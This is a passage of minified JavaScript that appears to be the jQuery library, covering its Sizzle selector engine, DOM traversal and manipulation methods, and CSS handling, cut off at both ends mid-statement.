if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")[\\s/>]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f
  4 +.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(f.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(g){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,function(a,b){b.src?f.ajax({type:"GET",global:!1,url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1></$2>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]==="<table>"&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i<u;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e&&f.nodeName(h,"script")&&(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName("script"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\([^)]*\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\-+]?(?:\d*\.)?\d+$/i,bt=/^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,bu=/^([\-+])=([\-+.\de]+)/,bv=/^margin/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Top","Right","Bottom","Left"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length>1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" 